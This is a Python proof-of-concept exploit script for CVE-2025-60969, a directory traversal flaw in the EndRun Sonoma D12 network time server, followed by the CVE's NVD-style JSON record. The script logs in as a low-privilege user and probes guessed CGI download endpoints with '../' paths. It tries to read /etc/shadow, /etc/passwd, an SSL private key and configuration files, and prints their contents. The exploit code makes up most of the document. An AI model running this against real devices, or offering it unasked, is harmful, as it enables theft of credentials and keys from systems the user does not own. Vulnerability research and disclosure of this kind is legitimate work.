CVE-2025-60969

#!/usr/bin/env python3 # CVE-2025-60969 - EndRun Sonoma D12 Directory Traversal PoC # Author: Security Research # Description: Exploits directory traversal vulnerability in Sonoma D12 NTP Server # Affected: F/W 6010-0076-000 Ver 4.00 import requests import sys from urllib.parse import quote TARGET_URL = "http://target-sonoma-d12" USERNAME = "low_priv_user" PASSWORD = "password123" # Files to attempt to read via directory traversal SENSITIVE_FILES = [ "../../../../etc/passwd", "../../../../etc/shadow", "../../../../config/system.cfg", "../../../conf/ntp.conf", "../../../../opt/endrun/config.ini", "../../../../var/log/messages", "../../../../etc/ssl/private/server.key", ] def login(session, base_url, username, password): """Authenticate to the Sonoma D12 web management interface""" login_url = f"{base_url}/login.cgi" data = { "username": username, "password": password } resp = session.post(login_url, data=data, allow_redirects=False) if resp.status_code == 302 or "session" in resp.headers.get("Set-Cookie", ""): print(f"[+] Successfully logged in as {username}") return True print(f"[-] Login failed") return False def exploit_traversal(session, base_url, traversal_path): """Attempt directory traversal to read sensitive files""" # Common vulnerable endpoints in NTP server web interfaces endpoints = [ f"{base_url}/cgi-bin/download.cgi?file={quote(traversal_path)}", f"{base_url}/cgi-bin/viewfile.cgi?path={quote(traversal_path)}", f"{base_url}/download?file={quote(traversal_path)}", f"{base_url}/file?path={quote(traversal_path)}", ] for url in endpoints: try: resp = session.get(url, timeout=10) if resp.status_code == 200 and len(resp.content) > 0: content_type = resp.headers.get("Content-Type", "") if "text" in content_type or "octet-stream" in content_type: print(f"[+] VULNERABLE - URL: {url}") print(f"[+] Content preview:\n{resp.text[:500]}") return resp.text except requests.RequestException: continue return None def main(): target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL session = requests.Session() print(f"[*] Targeting: {target}") print(f"[*] CVE-2025-60969 - Directory Traversal in Sonoma D12") if not login(session, target, USERNAME, PASSWORD): print("[-] Cannot proceed without valid credentials") sys.exit(1) for file_path in SENSITIVE_FILES: print(f"\n[*] Attempting to read: {file_path}") result = exploit_traversal(session, target, file_path) if result: print(f"[+] Successfully extracted file contents") break if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-60969", "sourceIdentifier": "[email protected]", "published": "2025-10-06T17:16:07.647", "lastModified": "2025-10-10T16:15:10.160", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Directory Traversal vulnerability in EndRun Technologies Sonoma D12 Network Time Server (GPS) F/W 6010-0076-000 Ver 4.00 allows attackers to gain sensitive information."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:endruntechnologies:sonoma_d12_firmware:6010-0076-000:*:*:*:*:*:*:*", "matchCriteriaId": "8CA2E5C0-1204-40D4-A54E-7290175F9401"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:endruntechnologies:sonoma_d12:4.00:*:*:*:*:*:*:*", "matchCriteriaId": "2D229C97-27FA-4DC6-9EB9-7757C6638143"}]}]}], "references": [{"url": "http://endrun.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "http://sonoma.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://xdiv-sec.github.io/vulnerability-research/advisories/2025-10-03-sonoma-d12", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}